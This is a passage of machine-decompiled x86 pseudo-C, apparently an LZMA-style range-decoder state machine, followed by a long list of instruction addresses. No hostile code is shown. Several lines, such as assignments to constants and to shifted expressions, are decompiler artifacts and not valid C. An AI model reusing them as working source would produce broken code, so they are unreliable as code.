											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x0040696f
0x0040696f
0x00406973
0x0040699c
0x004069a6
0x00406975
0x0040697e
0x0040698b
0x0040698e
0x00406cd2
0x00406cd2
0x00406cd5
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00406d23
0x00406d27
0x00406ed6
0x00406eec
0x00406ef4
0x00406efb
0x00406efd
0x00406f04
0x00406f08
0x00406f08
0x00406d33
0x00406d3a
0x00406d42
0x00406d45
0x00406d48
0x00406d48
0x00406d4e
0x00406d4e
0x004064ea
0x004064ea
0x004064ea
0x004064f3
0x00000000
0x00000000
0x004064f9
0x00000000
0x00406504
0x00000000
0x00000000
0x0040650d
0x00406510
0x00406513
0x00406517
0x00000000
0x00000000
0x0040651d
0x00406520
0x00406522
0x00406523
0x00406526
0x00406528
0x00406529
0x0040652b
0x0040652e
0x00406533
0x00406538
0x00406541
0x00406554
0x00406557
0x00406563
0x0040658b
0x0040658d
0x0040659b
0x0040659b
0x0040659f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040658f
0x0040658f
0x00406592
0x00406593
0x00406593
0x00000000
0x0040658f
0x00406569
0x0040656e
0x0040656e
0x00406577
0x0040657f
0x00406582
0x00000000
0x00406588
0x00406588
0x00000000
0x00406588
0x00000000
0x004065a5
0x004065a5
0x004065a9
0x00406e55
0x00000000
0x00406e55
0x004065b2
0x004065c2
0x004065c5
0x004065c8
0x004065c8
0x004065c8
0x004065cb
0x004065cf
0x00000000
0x00000000
0x004065d1
0x004065d7
0x00406601
0x00406607
0x0040660e
0x00000000
0x0040660e
0x004065dd
0x004065e0
0x004065e5
0x004065e5
0x004065f0
0x004065f8
0x004065fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406640
0x00406646
0x00406649
0x00406656
0x0040665e
0x00406cd2
0x00000000
0x00000000
0x00406615
0x00406615
0x00406619
0x00406e64
0x00000000
0x00406e64
0x00406625
0x00406630
0x00406630
0x00406630
0x00406633
0x00406636
0x00406639
0x0040663e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406666
0x00406668
0x0040666b
0x004066dc
0x004066df
0x004066e2
0x004066e9
0x004066f3
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x0040666d
0x00406671
0x00406674
0x00406676
0x00406679
0x0040667c
0x0040667e
0x00406681
0x00406683
0x00406688
0x0040668b
0x0040668e
0x00406692
0x00406699
0x0040669c
0x004066a3
0x004066a7
0x004066af
0x004066af
0x004066af
0x004066a9
0x004066a9
0x004066a9
0x0040669e
0x0040669e
0x0040669e
0x004066b3
0x004066b6
0x004066d4
0x004066d6
0x00000000
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c3
0x004066c3
0x004066c3
0x004066c6
0x004066c9
0x004066cb
0x004066cc
0x004066cf
0x00000000
0x004066cf
0x00000000
0x00406905
0x00406909
0x00406927
0x0040692a
0x00406931
0x00406934
0x00406937
0x0040693a
0x0040693d
0x00406940
0x00406942
0x00406949
0x0040694a
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406955
0x0040695a
0x00000000
0x0040695a
0x0040690b
0x0040690e
0x00406911
0x0040691b
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00000000
0x00000000
0x00000000
0x004069b2
0x004069b6
0x00000000
0x00000000
0x004069bc
0x004069c0
0x00000000
0x00000000
0x004069c6
0x004069c8
0x004069cc
0x004069cc
0x004069cf
0x004069d3
0x00000000
0x00000000
0x00406a23
0x00406a27
0x00406a2e
0x00406a31
0x00406a34
0x00406a3e
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x00406a29
0x00000000
0x00000000
0x00406a4a
0x00406a4e
0x00406a55
0x00406a58
0x00406a5b
0x00406a50
0x00406a50
0x00406a50
0x00406a5e
0x00406a61
0x00406a64
0x00406a64
0x00406a67
0x00406a6a
0x00406a6d
0x00406a6d
0x00406a70
0x00406a77
0x00406a7c
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406eac
0x00000000
0x00406eac
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b21
0x00406b27
0x00406b29
0x00406b29
0x00406b29
0x00406b2c
0x00406b2f
0x00000000
0x00000000
0x004066ff
0x004066ff
0x00406703
0x00406e70
0x00000000
0x00406e70
0x00406709
0x0040670c
0x0040670f
0x00406713
0x00406716
0x0040671c
0x0040671e
0x0040671e
0x0040671e
0x00406721
0x00406724
0x00406724
0x00406727
0x0040672a
0x00000000
0x00000000
0x00406730
0x00406736
0x00000000
0x00000000
0x0040673c
0x0040673c
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x0040674d
0x00406750
0x00406752
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x00406767
0x0040676a
0x00406786
0x00406789
0x0040678c
0x0040678f
0x00406796
0x0040679a
0x0040679c
0x004067a0
0x0040676c
0x0040676c
0x00406770
0x00406778
0x0040677d
0x0040677f
0x00406781
0x00406781
0x004067a3
0x004067aa
0x004067ad
0x00000000
0x004067b3
0x00000000
0x004067b3
0x00000000
0x004067b8
0x004067b8
0x004067bc
0x00406e7c
0x00000000
0x00406e7c
0x004067c2
0x004067c5
0x004067c8
0x004067cc
0x004067cf
0x004067d5
0x004067d7
0x004067d7
0x004067d7
0x004067da
0x004067dd
0x004067dd
0x004067dd
0x004067e3
0x00000000
0x00000000
0x004067e5
0x004067e8
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406800
0x00406803
0x0040681b
0x0040681e
0x00406821
0x00406824
0x00406824
0x00406827
0x0040682b
0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406830
0x00406837
0x0040683a
0x00000000
0x0040683c
0x00000000
0x0040683c
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406841
0x00000000
0x00000000
0x0040687c
0x0040687c
0x00406880
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689b
0x0040689e
0x004068a1
0x004068a1
0x004068a7
0x00406845
0x00406845
0x00406848
0x00000000
0x00406848
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c4
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068ef
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068f4
0x004068fb
0x004068fe
0x00000000
0x00406900
0x00000000
0x00406900
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x0040695d
0x0040695d
0x00406960
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00000000
0x00406c9c
0x00406ca0
0x00406cc2
0x00406cc5
0x00406ccf
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x00406ca2
0x00406ca5
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00000000
0x00000000
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00406d90
0x00406d90
0x00000000
0x00406d90
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00406cb3
0x00406cb3
0x00406cb6
0x00000000
0x00000000
0x00406e4a
0x00406e4d
0x00406d4e
0x00000000
0x00000000
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aa6
0x00406aa9
0x00406ab0
0x00406ab3
0x00406ac1
0x00000000
0x00000000
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00000000
0x00406da6
0x00406da6
0x00406daa
0x00406ee2
0x00000000
0x00406ee2
0x00406db0
0x00406db3
0x00406db6
0x00406dba
0x00406dbd
0x00406dc3
0x00406dc5
0x00406dc5
0x00406dc5
0x00406dc8
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dce
0x00406dce
0x00406dd2
0x00406e32
0x00406e35
0x00406e3a
0x00406e3b
0x00406e3d
0x00406e3f
0x00406e42
0x00406d4e
0x00406d4e
0x00000000
0x00406d54
0x00406d4e
0x00406dd4
0x00406dda
0x00406ddd
